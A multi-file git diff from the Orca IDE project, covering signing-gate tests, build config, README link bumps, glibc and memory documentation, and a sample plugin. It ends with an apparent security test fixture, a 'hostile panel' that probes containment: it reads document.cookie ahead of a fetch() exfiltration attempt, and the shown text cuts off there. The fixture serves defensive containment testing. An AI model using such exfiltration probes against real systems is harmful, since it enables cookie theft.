// that silently omits the verdict — the same class as the bug this PR fixes.
it('uploads the exact evidence filename the gate writes', () => {
const source = workflowSource('release-cut.yml')
const uploadStart = source.indexOf('- name: Upload Windows inner signing evidence')
expect(uploadStart).toBeGreaterThan(-1)
const uploadEnd = source.indexOf('\n - name:', uploadStart + 1)
expect(uploadEnd).toBeGreaterThan(uploadStart)
const upload = source.slice(uploadStart, uploadEnd)
const step = innerBinaryStep()
const written = new Set(
[...withoutComments(step).matchAll(/-Path\s+'([\w.-]+\.txt)'/g)].map((m) => m[1])
)
expect(written.size).toBeGreaterThan(0)
for (const file of written) {
expect(upload, `${file} is written by the gate but never uploaded`).toContain(file)
}
})
it('never lets verdict persistence itself fail a warn-only release', () => {
// Every persistence helper is best-effort: a disk-full or read-only runner
// must not turn evidence-writing into the thing that fails the release.
const step = innerBinaryStep()
for (const helper of ['function Add-GateEvidence', 'function Add-GateSummary']) {
const code = blockAfter(step, helper).code
expect(code, helper).toContain('-ErrorAction Stop')
expect(code, helper).toMatch(/\bcatch\b/)
}
expect(gateVerdictBlock().code).toMatch(/\bcatch\b/)
})
it('records a verdict on every terminal branch of the gate', () => {
// Comments stripped: a `# VERDICT: PASSED` note must not stand in for the write.
const step = withoutComments(innerBinaryStep())
for (const verdict of ['NOT VERIFIED', 'ERRORED', 'VERDICT: FAILED', 'VERDICT: PASSED']) {
expect(step).toContain(verdict)
}
})
it('throws a required-mode signature failure outside the catch that would mask it', () => {
// Why: throwing inside `try` re-enters the catch, whose Set-Content
// replaces the per-file report with "ERRORED — <exception>".
const step = innerBinaryStep()
const policyThrow = codeOf(step).indexOf('if ($policyFailure) { throw $policyFailure }')
expect(policyThrow).toBeGreaterThan(-1)
// Anchored on the gate's own handler, not the first `catch` in the step: the
// persistence helpers have their own, and they sit earlier in the file.
const gateCatch = blockEnclosing(step, 'Write-GateVerdict "ERRORED')
expect(gateCatch.keyword).toBe('catch')
expect(policyThrow).toBeGreaterThan(gateCatch.end)
})
// Why: the assignment is what survives a write failure. With it after the
// evidence/summary writes, a throwing Add-Content lands in the catch with
// $policyFailure still null — required mode reports ERRORED and overwrites the
// per-file report, reintroducing exactly the loss the hoist prevents.
it('records the required-mode failure before attempting any evidence write', () => {
const branch = blockAfter(innerBinaryStep(), 'if ($failures.Count -gt 0)').code
const assignment = branch.indexOf('$policyFailure = $message')
expect(assignment).toBeGreaterThan(-1)
for (const write of ['Add-GateEvidence', 'Add-GateSummary']) {
expect(branch.indexOf(write), write).toBeGreaterThan(assignment)
}
})
})
+11
View File
@@ -3,6 +3,7 @@
"include": [
"../src/cli/**/*",
"../src/shared/**/*",
"../src/main/agent-state-file-reader.ts",
"../src/main/agent-hooks/hook-stdin-contract.ts",
"../src/main/agent-hooks/hook-config-write-path.ts",
"../src/main/agent-hooks/hooks-json-read.ts",
@@ -22,19 +23,29 @@
"../src/main/codex/codex-app-server-session.ts",
"../src/main/codex/codex-config-mirror.ts",
"../src/main/codex/codex-config-path-reference-rewrite.ts",
"../src/main/codex/codex-config-settings-preservation.ts",
"../src/main/codex/codex-config-settings-removal.ts",
"../src/main/codex/codex-config-settings-upsert.ts",
"../src/main/codex/codex-home-paths.ts",
"../src/main/codex/codex-hook-identity.ts",
"../src/main/codex/codex-hook-trust-grant.ts",
"../src/main/codex/codex-managed-trust-reconciliation.ts",
"../src/main/codex/codex-process-exit-deadline.ts",
"../src/main/codex/codex-trust-config-rollback.ts",
"../src/main/codex/codex-trust-grant-telemetry.ts",
"../src/main/codex/codex-trust-grant-host.ts",
"../src/main/codex/codex-trust-grant-ledger.ts",
"../src/main/codex/codex-user-hook-trust-rebase-client.ts",
"../src/main/codex/codex-user-hook-trust-rebase.ts",
"../src/main/codex/codex-wsl-hook-install-plan.ts",
"../src/main/codex/config-settings-baseline.ts",
"../src/main/codex/config-settings-conflict-resolution.ts",
"../src/main/codex/config-settings-promotion.ts",
"../src/main/codex/config-sync-stall.ts",
"../src/main/codex/config-toml-deprecated-hook-flag.ts",
"../src/main/codex/config-toml-key-path.ts",
"../src/main/codex/config-toml-line-scan.ts",
"../src/main/codex/config-toml-runtime-owned-sections.ts",
"../src/main/codex/config-toml-trust.ts",
"../src/main/codex/hook-service.ts",
"../src/main/codex/hook-trust-promotion.ts",
+1
View File
@@ -20,6 +20,7 @@ export default defineConfig({
'src/**/*.test.tsx',
'config/scripts/**/*.test.ts',
'config/scripts/**/*.test.mjs',
'tools/**/*.test.mjs',
'tests/e2e/**/*.unit.test.ts'
],
// Why: the full suite runs heavy TS transforms plus real git/http fixtures;
+7 -7
View File
@@ -1,21 +1,21 @@
<svg xmlns="http://www.w3.org/2000/svg" width="113" height="20" role="img" aria-label="downloads: 7.5m">
<title>downloads: 7.5m</title>
<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 11m">
<title>downloads: 11m</title>
<linearGradient id="s" x2="0" y2="100%">
<stop offset="0" stop-color="#bbb" stop-opacity=".1"/>
<stop offset="1" stop-opacity=".1"/>
</linearGradient>
<clipPath id="r">
<rect width="113" height="20" rx="3"/>
<rect width="106" height="20" rx="3"/>
</clipPath>
<g clip-path="url(#r)">
<rect width="74" height="20" fill="#555"/>
<rect x="74" width="39" height="20" fill="#4c1"/>
<rect width="113" height="20" fill="url(#s)"/>
<rect x="74" width="32" height="20" fill="#4c1"/>
<rect width="106" height="20" fill="url(#s)"/>
</g>
<g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="11">
<text x="37" y="15" fill="#010101" fill-opacity=".3">downloads</text>
<text x="37" y="14">downloads</text>
<text x="93.5" y="15" fill="#010101" fill-opacity=".3">7.5m</text>
<text x="93.5" y="14">7.5m</text>
<text x="90" y="15" fill="#010101" fill-opacity=".3">11m</text>
<text x="90" y="14">11m</text>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 943 B

After

Width:  |  Height:  |  Size: 935 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 388 KiB

After

Width:  |  Height:  |  Size: 399 KiB

File diff suppressed because it is too large Load Diff
+2 -2
View File
@@ -36,7 +36,7 @@
Supervisa y dirige a tus agentes desde el teléfono — recibe una notificación cuando un agente termine y envía instrucciones de seguimiento desde cualquier lugar.
[App Store de iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [APK para Android](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
[App Store de iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [APK para Android](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
</td>
<td width="50%">
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
Vincúlala con tu app de escritorio para supervisar y dirigir a tus agentes desde el teléfono.
- **iOS:** [Descargar desde App Store](https://apps.apple.com/us/app/orca-ide/id6766130217)
- **Android:** [Descargar el APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
- **Android:** [Descargar el APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
---
+3 -3
View File
@@ -3,7 +3,7 @@
</h1>
<p align="center">
<a href="https://github.com/stablyai/orca/stargazers"><img src="https://badgen.net/github/stars/stablyai/orca?label=%E2%98%85" alt="Étoiles GitHub" /></a>
<a href="https://github.com/stablyai/orca"><img src="https://badgen.net/github/stars/stablyai/orca?label=%E2%98%85" alt="Étoiles GitHub" /></a>
<a href="https://github.com/stablyai/orca/releases"><img src="../assets/readme-downloads.svg" alt="Téléchargements totaux sur toutes les versions" /></a>
<img src="https://badgen.net/github/license/stablyai/orca" alt="Licence" />
<a href="https://discord.gg/fzjDKHxv8Q"><img src="https://img.shields.io/badge/Discord-5865F2?logo=discord&logoColor=white" alt="Rejoindre le Discord Orca" /></a>
@@ -40,7 +40,7 @@
Surveillez et pilotez vos agents depuis votre téléphone — soyez notifié quand un agent termine, et envoyez des instructions de suivi où que vous soyez.
[App Store iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
[App Store iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
</td>
<td width="50%">
@@ -235,7 +235,7 @@ yay -S stably-orca-bin
Associez-la à l'app de bureau pour surveiller et piloter vos agents depuis votre téléphone.
- **iOS :** [Télécharger sur l'App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) ou [rejoindre TestFlight](https://testflight.apple.com/join/YjeGMQBA)
- **Android :** [Télécharger l'APK 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
- **Android :** [Télécharger l'APK 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
---
+2 -2
View File
@@ -36,7 +36,7 @@
スマートフォンからエージェントを監視・操作 — エージェントの完了を通知で受け取り、どこからでもフォローアップを送信できます。
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [ドキュメント →](https://www.onorca.dev/docs/mobile)
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [ドキュメント →](https://www.onorca.dev/docs/mobile)
</td>
<td width="50%">
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
デスクトップアプリとペアリングして、スマートフォンからエージェントを監視・操作できます。
- **iOS:** [App Store からダウンロード](https://apps.apple.com/us/app/orca-ide/id6766130217)
- **Android:** [APK をダウンロード](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
- **Android:** [APK をダウンロード](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
---
+2 -2
View File
@@ -36,7 +36,7 @@
휴대폰에서 에이전트를 모니터링하고 조종하세요 — 에이전트가 완료되면 알림을 받고 어디서든 후속 지시를 보낼 수 있습니다.
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [문서 →](https://www.onorca.dev/docs/mobile)
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [문서 →](https://www.onorca.dev/docs/mobile)
</td>
<td width="50%">
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
데스크톱 앱과 페어링해 휴대폰에서 에이전트를 모니터링하고 조종하세요.
- **iOS:** [App Store에서 다운로드](https://apps.apple.com/us/app/orca-ide/id6766130217)
- **Android:** [APK 다운로드](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
- **Android:** [APK 다운로드](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
---
+2 -2
View File
@@ -36,7 +36,7 @@
Monitore e conduza seus agentes pelo celular — receba uma notificação quando um agente terminar e envie instruções de acompanhamento de qualquer lugar.
[App Store para iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
[App Store para iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
</td>
<td width="50%">
@@ -230,7 +230,7 @@ yay -S stably-orca-bin
Conecte ao app desktop para monitorar e conduzir seus agentes pelo celular.
- **iOS:** [Baixar na App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) ou [entrar no TestFlight](https://testflight.apple.com/join/YjeGMQBA)
- **Android:** [Baixar APK 0.0.31](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
- **Android:** [Baixar APK 0.0.32](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
---
+3 -3
View File
@@ -36,7 +36,7 @@
用手机监控并指挥你的智能体 — 智能体完成时收到通知,随时随地发送后续指令。
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk) · [文档 →](https://www.onorca.dev/docs/mobile)
[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk) · [文档 →](https://www.onorca.dev/docs/mobile)
</td>
<td width="50%">
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
与桌面应用配对,用手机监控并指挥你的智能体。
- **iOS:** [从 App Store 下载](https://apps.apple.com/us/app/orca-ide/id6766130217)
- **Android:** [下载 APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.31/app-release.apk)
- **Android:** [下载 APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.32/app-release.apk)
---
@@ -235,7 +235,7 @@ yay -S stably-orca-bin
- **Discord:** 加入 **[Discord](https://discord.gg/fzjDKHxv8Q)** 社区。
- **Twitter / X:** 关注 **[@orca_build](https://x.com/orca_build)** 获取更新和公告。
- **微信:** 第一、二个微信群均已满,现在可以加入第三个群。
- **微信:** 其他群已满,现在加入第 5 群。
<img src="../assets/wechat-qr.jpg" alt="Orca 社区微信群二维码" width="160" />
+4 -2
View File
@@ -10,8 +10,10 @@ startup. Current Orca builds start Xvfb automatically for `orca serve` when no
not required. When `DISPLAY` is set, Orca uses that display instead of starting
a competing Xvfb process.
The supported deployment matrix covers Ubuntu 22.04 and 24.04 and current
Debian stable. Package names can differ on other Debian-derived releases.
The supported deployment matrix covers Ubuntu 20.04, 22.04, and 24.04 and
current Debian stable — anything with glibc 2.31 or newer (see
[Linux glibc compatibility](./linux-glibc-compatibility.md)). Package names can
differ on other Debian-derived releases.
## Ubuntu and Debian prerequisites
@@ -0,0 +1,99 @@
# Linux glibc Compatibility
Orca's Linux builds target **stock Ubuntu 20.04 and newer** — glibc 2.31 and
libstdc++ `GLIBCXX_3.4.28` (also Debian 11, RHEL 9), on both x64 and arm64.
Packaging enforces this floor automatically; keep it in mind when adding or
upgrading native dependencies. (The optional speech feature is the one
exception — see below.)
## Why this needs attention
A native module (`.node`) links against the glibc of the machine that compiled
it. Our release CI compiles node-pty from source on GitHub's `ubuntu-latest`
runner, whose glibc rises over time as the image is bumped. A binary compiled on
a newer glibc can reference symbol versions that do not exist on an older target,
and the dynamic loader then refuses to load it:
```
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by .../pty.node)
```
Because the Orca main process loads node-pty at startup, that failure crashes the
whole app before a window appears — this is exactly what shipped in v1.4.150 and
broke launch on Ubuntu 20.04 ([#9902](https://github.com/stablyai/orca/issues/9902)).
The specific trap is glibc's 2.32–2.34 "libpthread/libutil merge", which moved
several long-stable functions into libc under brand-new symbol versions:
| Symbol | New version | node-pty use |
| ----------------- | ------------- | ----------------------- |
| `pthread_sigmask` | `GLIBC_2.32` | reset child signal mask |
| `openpty` | `GLIBC_2.34` | allocate the pty |
| `forkpty` | `GLIBC_2.34` | fork the shell |
Electron itself (glibc 2.25) and the other bundled native modules
(`sherpa-onnx`, `@parcel/watcher`, both prebuilt on old glibc) stay well under
the floor, so node-pty was the sole blocker.
## How we keep the floor
**1. Pin the relocated symbols (the fix).**
[`config/patches/node-pty@1.1.0.patch`](../../config/patches/node-pty@1.1.0.patch)
adds a `.symver` shim in `src/unix/pty.cc` that binds `openpty`, `forkpty`, and
`pthread_sigmask` to their pre-merge version node — `GLIBC_2.2.5` on x64,
`GLIBC_2.17` on arm64 (each architecture's baseline glibc). glibc still ships
those as compatibility aliases, so the reference resolves on both new build hosts
and old targets.
The catch: gcc defaults to `--as-needed` and, since the pinned symbols now
resolve from libc's compat aliases at build time, it drops `libutil`/`libpthread`
from `DT_NEEDED`. On the target those libraries are where the symbols actually
live, so the patch's `binding.gyp` `ldflags` force
`-Wl,--no-as-needed,-l:libutil.so.1,-l:libpthread.so.0` back into `DT_NEEDED`.
The shim is guarded by `#if defined(__linux__)`; macOS and Windows are untouched.
**2. Gate packaging (the regression guard).**
[`config/scripts/verify-linux-glibc-floor.cjs`](../../config/scripts/verify-linux-glibc-floor.cjs)
runs in the electron-builder `afterPack` hook for Linux. It reads every bundled
native binary's version needs (`objdump -p` "Version References" — the
authoritative load-time list, which also captures symbol-less markers like
`GLIBC_ABI_DT_RELR`) and fails the build if any strong `GLIBC_`/`GLIBCXX_`/
`CXXABI_` node is newer than stock Ubuntu 20.04 provides, naming the file and the
offending node. Weak needs are ignored (the loader tolerates them). It also
asserts the flip side of the `.symver` fix: any binary that imports
`openpty`/`forkpty` must keep `libutil.so.1` in `DT_NEEDED` — otherwise the
pinned `openpty@GLIBC_2.2.5` resolves from libc's compat alias at build time (so
the version check passes) yet fails to load on 20.04, where those functions live
only in libutil. A future runner bump, a new native dependency, or a dropped
ldflag therefore fails the release build instead of shipping a Linux app that
crashes on launch.
> The gate is a static invariant, not an integration test. The load path was
> verified by hand for this fix (real Ubuntu 20.04, x64 + arm64: `require`
> node-pty and spawn a shell). A CI smoke test that loads the packaged
> `pty.node` in a glibc-2.31 container and spawns a shell is the recommended
> follow-up — it would make the load path self-verifying and stay valid even if
> the build ever moves to an old-glibc sysroot.
The one carve-out is the `sherpa-onnx` speech prebuilt, which already requires
`GLIBCXX_3.4.29` (GCC 11). It loads lazily in the speech worker
(`src/main/speech/stt-worker.ts`), never at app launch, so it is exempt from the
libstdc++ floor — its glibc needs are still checked. Speech-to-text therefore
needs a host with libstdc++ from GCC 11+ (Ubuntu 21.10 / 22.04 LTS or newer); the
app itself still launches on stock 20.04.
## Adding or upgrading a native dependency
- Prefer packages that ship prebuilt binaries compiled against an old toolchain
(manylinux / `glibc 2.17`-class), like `@parcel/watcher`.
- For a module we compile from source, if the gate flags it, either pin the
offending symbols the way node-pty does, or build it in an old-glibc container.
- To check locally on a Linux host, list what a binary requires (skipping the
weak `0x02`-flagged needs the loader tolerates):
```bash
objdump -p path/to/module.node | sed -n '/Version References/,/^$/p'
```
No strong `GLIBC_` node may exceed `2.31`, and no `GLIBCXX_`/`CXXABI_` node may
exceed `3.4.28`/`1.3.12` — what stock Ubuntu 20.04 ships.
@@ -0,0 +1,54 @@
# Resource Manager memory metrics
Resource Manager reports two different kinds of memory data. Process totals describe Orca and
locally managed terminal processes; host totals describe the machine running Orca. They are not
interchangeable.
## Process memory
Each snapshot declares one `processMemoryMetric`:
| Platform | Metric | Source |
| ------------ | ------------- | ---------------------------------------------------------- |
| macOS, Linux | `rss` | `ps` resident set size |
| Windows | `working-set` | CIM `WorkingSetSize`, with a Typeperf working-set fallback |
Orca walks each registered local PTY subtree and claims every PID at most once. App, session,
worktree, history, and snapshot memory values are sums of those per-process samples.
RSS and working set are not unique physical-memory measurements. Shared pages can appear in more
than one process, and macOS can count the same resident page through multiple mappings in one
process. A sum can therefore exceed physical RAM. Product copy and diagnostics must identify the
metric as a sum and must not present it as a percentage of system RAM.
Remote SSH and relay sessions do not receive invented local samples. They remain unavailable until
the executing host supplies resource data. Folder workspaces use the same registered-PTY
attribution as Git worktrees.
## Host memory
`HostMemory` keeps immediate free memory separate from memory available without material pressure:
- `freeMemory` is Node's host free-memory value.
- `availableMemory` is the best bounded platform value.
- `usedMemory` is `totalMemory - availableMemory`.
- `memoryUsagePercent` is derived from `usedMemory`.
- `availableMemorySource` identifies how availability was measured.
The sources are:
| Platform | Preferred source | Fallback |
| -------- | ----------------------------------------- | ---------------- |
| macOS | `memory_pressure -Q` available percentage | Node free memory |
| Linux | `/proc/meminfo` `MemAvailable` | Node free memory |
| Windows | Node free memory | Node free memory |
This percentage describes host availability. It is not derived from the summed process metric.
## Bounded collection
Resource Manager polls while its popover is open, so every snapshot must remain bounded under a
large process tree. macOS `footprint` provides a more physical process metric, but collecting it
across dozens of processes is too expensive for this path. A future physical-footprint backend
must use a bounded host API or helper and declare a distinct metric before product copy treats it
as physical memory.
+40 -4
View File
@@ -1,8 +1,24 @@
import { isBuiltin } from 'node:module'
import { resolve } from 'node:path'
import { defineConfig } from 'electron-vite'
import { defineConfig, type UserConfig } from 'electron-vite'
import react from '@vitejs/plugin-react'
import tailwindcss from '@tailwindcss/vite'
import { createPlainNodeEntryGuardPlugin } from './build-plugins/plain-node-entry-guard'
import packageJson from './package.json' with { type: 'json' }
const BUNDLED_MAIN_DEPENDENCIES = new Set(['@xterm/headless', '@xterm/addon-serialize'])
const EXTERNAL_MAIN_DEPENDENCIES = Object.keys(packageJson.dependencies).filter(
(dependency) => !BUNDLED_MAIN_DEPENDENCIES.has(dependency)
)
function isExternalMainModule(source: string): boolean {
if (isBuiltin(source) || source === 'electron' || source.startsWith('electron/')) {
return true
}
return EXTERNAL_MAIN_DEPENDENCIES.some(
(dependency) => source === dependency || source.startsWith(`${dependency}/`)
)
}
// Why: the telemetry transport is gated by two compile-time constants that
// only the official CI release workflow sets. Contributor / `pnpm dev` /
@@ -165,7 +181,7 @@ function createStartupDiagnosticsBootstrapPlugin() {
}
}
export default defineConfig({
export const electronViteConfig: UserConfig = {
main: {
build: {
// Why: daemon-entry.js is asar-unpacked so child_process.fork() can
@@ -176,9 +192,13 @@ export default defineConfig({
exclude: ['@xterm/headless', '@xterm/addon-serialize']
},
rollupOptions: {
// Why: native dependencies must resolve from packaged node_modules,
// while the unpacked daemon needs its pure-JS xterm graph bundled.
external: isExternalMainModule,
input: {
index: resolve('src/main/index.ts'),
'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
'stt-worker': resolve('src/main/speech/stt-worker.ts'),
'warp-theme-parser-worker': resolve('src/main/warp-themes/warp-theme-parser-worker.ts'),
@@ -200,6 +220,13 @@ export default defineConfig({
'src/main/agent-hooks/managed-agent-hook-controls.ts'
)
},
// Why: Rolldown's SSR default is ESM, but Electron and sidecar launchers
// consume these stable CommonJS paths.
output: {
format: 'cjs',
entryFileNames: '[name].js',
chunkFileNames: 'chunks/[name]-[hash].js'
},
plugins: [createStartupDiagnosticsBootstrapPlugin(), createPlainNodeEntryGuardPlugin()]
}
},
@@ -241,17 +268,26 @@ export default defineConfig({
format: 'es'
},
build: {
manifest: true,
modulePreload: { polyfill: true },
target: 'es2020',
// Why: the pop-out dashboard is a second top-level window with its own
// React root. It gets its own HTML entry so it can boot independently of
// the main window while reusing the same preload/window.api. `index` must
// stay listed — overriding input otherwise drops electron-vite's default
// renderer entry.
rollupOptions: {
// Why: shared chunks must never import an HTML entry whose module mounts
// a different React root.
preserveEntrySignatures: 'strict',
input: {
index: resolve('src/renderer/index.html'),
popout: resolve('src/renderer/popout.html')
popout: resolve('src/renderer/popout.html'),
web: resolve('src/renderer/web-index.html')
}
}
}
}
})
}
export default defineConfig(electronViteConfig)
+24
View File
@@ -0,0 +1,24 @@
// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
// worker (plain Node, no Electron), forked lazily on the first trigger. The
// default export receives the `orca` API: command registration, event
// handlers, and the capability-gated host API.
export default function activate(orca) {
orca.commands.register('hello-ping', async (args) => {
const stored = await orca.host.call('storage.get', { key: 'pings' })
const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
await orca.host.call('storage.set', { key: 'pings', value: count })
return { pong: true, count, args: args ?? null }
})
orca.events.on('worktree.created', async (payload) => {
orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
await orca.host.call('notifications.show', {
title: 'Worktree created',
body: payload.path
})
})
orca.events.on('agent.status.changed', (payload) => {
orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
})
}
@@ -0,0 +1,23 @@
{
"manifestVersion": 1,
"id": "hello-orca",
"publisher": "orca-samples",
"name": "Hello Orca",
"version": "1.0.0",
"description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"main": "main.mjs",
"contributes": {
"panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
"commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
"events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
},
"capabilities": [
{ "kind": "workspace:read" },
{ "kind": "terminal:send" },
{ "kind": "notifications:show" },
{ "kind": "storage" },
{ "kind": "events:subscribe" }
]
}
+125
View File
@@ -0,0 +1,125 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<style>
/* The host injects Orca design tokens as CSS custom properties, so
panels can match the app without any access to it. */
body {
margin: 0;
padding: 12px;
font-family: system-ui, sans-serif;
font-size: 13px;
color: var(--foreground, #ddd);
background: var(--background, transparent);
}
h1 {
font-size: 14px;
margin: 0 0 8px;
}
button {
display: block;
margin: 6px 0;
padding: 6px 10px;
border: 1px solid var(--border, #555);
border-radius: 6px;
background: var(--secondary, #2a2a2a);
color: var(--foreground, #ddd);
cursor: pointer;
font: inherit;
}
select {
margin: 6px 0;
max-width: 100%;
}
.status {
margin-top: 10px;
min-height: 1.4em;
color: var(--muted-foreground, #999);
white-space: pre-wrap;
}
</style>
</head>
<body>
<h1>Hello Orca 👋</h1>
<p>Panel + worker command + events, gated by consent.</p>
<button id="ctx">Read workspace context</button>
<select id="terms" hidden></select>
<button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
<button id="notify">Show a notification</button>
<p class="status" id="status"></p>
<script>
'use strict'
var seq = 0
var pending = {}
var statusEl = document.getElementById('status')
var termsEl = document.getElementById('terms')
function call(action, params) {
return new Promise(function (resolve) {
var requestId = 'req-' + ++seq
pending[requestId] = resolve
// The panel frame is an opaque origin, so '*' is the only usable
// targetOrigin; the host verifies the sending window instead.
window.parent.postMessage(
{ type: 'orca-panel-action', requestId: requestId, action: action, params: params },
'*'
)
})
}
window.addEventListener('message', function (event) {
var data = event.data
if (!data || data.type !== 'orca-panel-action-result') return
var resolve = pending[data.requestId]
if (!resolve) return
delete pending[data.requestId]
resolve(data)
})
document.getElementById('ctx').addEventListener('click', function () {
call('workspace.readContext').then(function (result) {
if (!result.ok) {
statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
return
}
if (!result.value) {
statusEl.textContent = 'no focused worktree'
return
}
statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
termsEl.innerHTML = ''
result.value.terminals.forEach(function (terminal) {
var option = document.createElement('option')
option.value = terminal.id
option.textContent = terminal.id
termsEl.appendChild(option)
})
termsEl.hidden = result.value.terminals.length === 0
document.getElementById('send').hidden = result.value.terminals.length === 0
})
})
document.getElementById('send').addEventListener('click', function () {
// Explicit terminal id — the API has no "active terminal" target.
call('terminal.sendText', {
terminalId: termsEl.value,
text: 'echo hi from plugin',
enter: true
}).then(function (result) {
statusEl.textContent = result.ok
? 'typed (accepted=' + result.value.accepted + ')'
: 'send failed: ' + (result.error || result.errorCode)
})
})
document.getElementById('notify').addEventListener('click', function () {
call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
statusEl.textContent = result.ok
? 'notification delivered=' + result.value.delivered
: 'notify failed: ' + (result.error || result.errorCode)
})
})
</script>
</body>
</html>
@@ -0,0 +1,16 @@
{
"manifestVersion": 1,
"id": "hostile-panel",
"publisher": "orca-samples",
"name": "Hostile Panel (security fixture)",
"version": "1.0.0",
"description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"contributes": {
"panels": [
{ "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
]
},
"capabilities": []
}
+206
View File
@@ -0,0 +1,206 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<!-- Security test fixture: every attempt below MUST be contained by the
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
probe reports pass/fail into the DOM so the containment run is
directly observable in the panel. -->
</head>
<body>
<h1>Hostile panel fixture</h1>
<ul id="results"></ul>
<button id="bridge">Run bridge budget probes</button>
<button id="navigate-top">Try top navigation</button>
<button id="navigate-self">Try self navigation</button>
<button id="navigate-anchor-form">Try anchor and form navigation</button>
<button id="navigate-meta">Try meta refresh navigation</button>
<button id="busy">Enter busy loop (watchdog probe)</button>
<script>
'use strict'
// The main-process guard must bind the frame before plugin parsing.
window.name = ''
var results = document.getElementById('results')
function report(name, contained, detail) {
if (document.querySelector('[data-probe="' + name + '"]')) return
var li = document.createElement('li')
li.dataset.probe = name
li.dataset.contained = contained ? 'true' : 'false'
li.textContent =
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
results.appendChild(li)
document.title = 'probes:' + results.children.length
}
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
var cookieValue = 'x'
try {
cookieValue = document.cookie || 'x'
} catch (_) {
// Opaque-origin frames may reject cookie access before CSP runs.
}
